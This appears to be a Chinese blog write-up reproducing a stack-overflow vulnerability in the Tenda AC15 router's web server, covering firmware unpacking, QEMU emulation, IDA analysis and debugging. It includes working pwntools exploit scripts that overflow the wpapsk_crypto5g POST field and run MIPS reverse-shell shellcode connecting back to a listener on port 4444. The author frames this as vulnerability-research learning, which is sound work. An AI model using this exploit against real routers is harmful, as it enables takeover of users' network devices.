腾达AC15无线路由器栈溢出漏洞(命令执行)复现

前言

之前一直在打ctf,没接触过实战,在大佬的指点下开始学习路由器漏洞。第一次尝试挖出来漏洞,遂写本文记录。

前置知识:

  • 代码审计
  • CTF pwn(二进制安全)
    • 栈溢出
    • NX保护
    • shellcode
    • IDA pro 调试
    • gdb 调试
  • CTF re(逆向工程)

一、准备工作

1.1 宿主机环境

本体:windows 11
软件:

  • VMware
  • VScode
  • IDA pro 9
  • 010EditorPortable

比较常规,下载好了就可以,不需要太多设置,额外准备github访问环境

1.2 kali 环境

虚拟机:kali
软件:

  • binwalk
  • pwngdb
  • python3
  • pwntools
  • qemu

1.2.1 binwalk

kali上自带有binwalk,但是我们要编译安装新版的binwalk
官方教程:https://github.com/ReFirmLabs/binwalk/wiki/Compile-From-Source#step-3

  1. 卸载自带的
sudo apt remove binwalk
  1. 安装curl
sudo apt install curl
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
. $HOME/.cargo/env
  1. 安装git
sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
  1. 编译安装
sudo apt install build-essential libfontconfig1-dev liblzma-dev
sudo ./binwalk/dependencies/ubuntu.sh
  1. 开始编译
cd binwalk
cargo build --release
  1. 拷贝替换
sudo cp ./target/release/binwalk /bin
sudo cp ./target/release/binwalk /usr/bin

1.2.2 pwngdb

我个人更加习惯使用pwngdb替换gdb

  1. 下载安装包
    打开 https://github.com/pwndbg/pwndbg/releases

下载最新的x86-64/AMD64 Linux

img

上传到服务器上

  1. 解压
tar -xvf 你的文件名.tar.xz -C ~
  1. 卸载自带gdb
sudo apt purge gdb
sudo apt autoremove
rm -rf ~/.gdbinit ~/.gdb_history
  1. 修改文件
cd ~/pwndbg
pwd

img

记住pwd输出

cd ./bin
sudo nano ./pwndbg

img

将第一行sh改为zsh,第二行改为刚刚的pwd输出

ctrl+x退出,y保存更改

sudo cp ./pwndbg ./gdb
sudo shmod +x ./gdb
sudo cp ./gdb /bin
sudo cp ./gdb /usr/bin
  1. 测试
gdb

img

出现pwndbg即为成功

1.2.3 pwntools

python3 官方自带,安装pwntools即可

sudo apt install python-pwntools

1.2.4 qemu

sudo apt update
sudo apt install qemu qemu-kvm qemu-system qemu-utils libvirt-clients libvirt-daemon-system virt-manager -y

二、固件处理

2.1 下载固件

下载地址:https://www.tendacn.com/download/detail-3187.html

下载下来长这样子:
img

丢入kali,放在你喜欢的工作目录

2.2 解包固件

这个路由器固件比较低端,没做加密,可以直接解包(不管怎么样,先解包,解不了自然就是加密的)

sudo sudo binwalk -Me US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin

解包完成应该可以看到这样的结构

img

看起来很标准的liunx结构

2.3 文件检查

一般来说,路由器真正干活的二进制文件会放在/bin/usr/bin下,注意观察httpdweb之类的文件
img

我们发现有一个httpd,下载下来到windows

然后我们使用file查看

file ./httpd

img

发现是ELF 32-bit LSB executable, MIPS小端序的MIPS架构

2.3.1 MIPS架构?

别怕,和x86没什么区别,因为不支持NX甚至更好打


然后检查保护

checksec --file=./httpd

img

oh,保护全关

2.4 启动qemu虚拟机

在固件的根目录下打开终端(即:和bin文件间同一层)

sudo cp $(which qemu-mipsel-static) qemu-mipsel-static
sudo chroot . ./qemu-mipsel-static ./bin/sh

就启动了虚拟机,打开了一个虚拟机终端

常见架构与对应 QEMU 命令如下:

架构 QEMU 静态解释器 典型用例 示例命令
MIPS (小端) qemu-mipsel-static 路由器、嵌入式设备(OpenWRT) sudo chroot . ./qemu-mipsel-static ./bin/sh
MIPS (大端) qemu-mips-static 传统 MIPS 设备 sudo chroot . ./qemu-mips-static ./bin/sh
ARM (32位) qemu-arm-static 树莓派、旧版 Android sudo chroot . ./qemu-arm-static ./bin/sh
ARM (64位) qemu-aarch64-static 新版 Android、ARM 服务器 sudo chroot . ./qemu-aarch64-static ./bin/sh
x86 (32位) qemu-i386-static 旧版 32 位 Linux 程序 sudo chroot . ./qemu-i386-static ./bin/sh
x86_64 qemu-x86_64-static 64 位 Linux 程序(通常无需模拟) sudo chroot . ./qemu-x86_64-static ./bin/sh
PowerPC qemu-ppc-static 旧版 IBM/Mac 设备 sudo chroot . ./qemu-ppc-static ./bin/sh
SPARC qemu-sparc-static Sun SPARC 工作站 sudo chroot . ./qemu-sparc-static ./bin/sh
RISC-V qemu-riscv64-static RISC-V 开发板(如 HiFive) sudo chroot . ./qemu-riscv64-static ./bin/sh

2.5 初始化虚拟机

如同电脑开机要初始化一样,路由器固件也要初始化,初始化脚本常常放在etcetc_roinit.d等地方,一般名称是rcS

我们在这里找到了rcS
img

我们直接在虚拟机终端内执行:

chmod +x /etc_ro/init.d/rcS

./etc_ro/init.d/rcS

然后重启kali,是的,重启kali

因为初始化脚本会挂载一堆奇奇怪怪的设备,会导致一些奇奇怪怪的问题,懒得一个个卸载了,直接重启就好

2.6 搭建网桥

重启后执行:

sudo brctl addbr br0
sudo ifconfig br0 192.168.0.1
chmod +x ./bin/httpd
./bin/httpd

我们发现跑起来了
img

可以在kali浏览器打开192.168.0.1查看网页

直接 ctrl+c 结束,进入静态分析阶段

三、静态分析

ida打开httpd

img

有这么多函数该怎么找漏洞呢?

3.1 快速找到漏洞

通常来说,我们希望通过远程来打,所以重点分析名字中带有:

  • set
  • http
  • web
  • confing

等可能和网络交互有关的函数

或者,找:

  • strcpy
  • sprintf
  • memcpy
  • sscanf

等高危险函数,找交叉引用

这里就是非常费精力的代码审计环节了,反正就是找漏洞

3.2 分析危险函数

通过对固件反编译的通读,我们发现在set_repeat5函数处将POST参数wpapsk_crypto5g放到了栈上,且没有保护。

img

那我们开启虚拟机,尝试漏洞存不存在

sudo chroot . ./qemu-mipsel-static ./bin/sh
./bin/httpd

然后在kali里写:

import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\

payload = {
    'configured5g': 'true',
    'originSsid5g': '1234',
    'encode5g': '1234',
    'security5g': 'wpapsk',
    'wpapsk_type5g': 'wpa2',
    'wpapsk_crypto5g': b"a"*0x100,
    'wpapsk_key5g': '1234567890'
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)

发送两次包(第一次浏览器默认设置页面,第二次触发漏洞)

发现程序直接退出,漏洞存在
img

四、动态调试

结束qemu虚拟机,连接ida进行调试,在ida的这个地方下断点(即set_repeat5函数马上要返回的地方):
img

启动调试

sudo chroot . ./qemu-mipsel-static -g 9999 ./bin/httpd

img

img

ida直接运行(按两次),显示程序正在运行为止,然后发包(注意有更改!!

import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\

payload = {
    'configured5g': 'true',
    'originSsid5g': '1234',
    'encode5g': '1234',
    'security5g': 'wpapsk',
    'wpapsk_type5g': 'wpa2',
    'wpapsk_crypto5g': b"a"*0x10,  # 这里
    'wpapsk_key5g': '1234567890' 
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)

远程调试启动程序,并且发送两次数据包来到断点
img

观察到栈上数据和返回地址

img

4.1 尝试拿shell

发现可以将shellcode加载到0x2B2AADA8处(即返回地址下面,因为没开PIE,所以可以硬编码地址),使用反向shell

import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\

shellcode = shellcraft.mips.linux.connect('192.168.112.139', 4444)
payload = {
    'configured5g': 'true',
    'originSsid5g': '1234',
    'encode5g': '1234',
    'security5g': 'wpapsk',
    'wpapsk_type5g': 'wpa2',
    'wpapsk_crypto5g': (cyclic(0x14) + p32(0x2B2AADA8)) + asm(shellcode+shellcraft.mips.linux.dupsh()),
    'wpapsk_key5g': '1234567890'
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)

但是程序总是在set_ssid_ori_encodeSetValue崩溃,需要修补文件

4.2 修补文件

因为模拟器没有外部设备,使用010去除外部函数

在ida打开指令显示:
image

image

改为5,就能看到对应的指令了

image

然后打开010搜索二进制值去改

img

img

将修改好的httpd再次放到原来的位置

sudo chmod +x ./httpd

sudo chroot . ./qemu-mipsel-static ./bin/httpd

4.3 反弹shell

192.168.112.139(即kali的ip地址)nc监听4444:

nc -lvnp 4444

发包两次:

import requests
from pwn import *
context.arch = 'mips'
context.endian = 'little'
ip = '192.168.0.1'
url = f'http://{ip}/goform/WifiExtraSet'\

shellcode = shellcraft.mips.linux.connect('192.168.112.139', 4444)
payload = {
    'configured5g': 'true',
    'originSsid5g': '1234',
    'encode5g': '1234',
    'security5g': 'wpapsk',
    'wpapsk_type5g': 'wpa2',
    'wpapsk_crypto5g': (cyclic(0x14) + p32(0x2B2AADA8)) + asm(shellcode+shellcraft.mips.linux.dupsh()),
    'wpapsk_key5g': '1234567890'
}
print(payload)
res = requests.post(url=url, data=payload)
print(res.status_code)

img

成功getshell

五、总结

实际上这个路由器太宝宝巴士了,被挖爆了,之后还有一堆加密、动态加载动态库、运行环境要修一堆东西,不过迈出第一步就是好的

附带资料:
https://www.123912.com/s/dlcdjv-1bHg 提取码:BRTt

posted @ 2025-06-05 12:18  归海言诺  阅读(284)  评论(1)    收藏  举报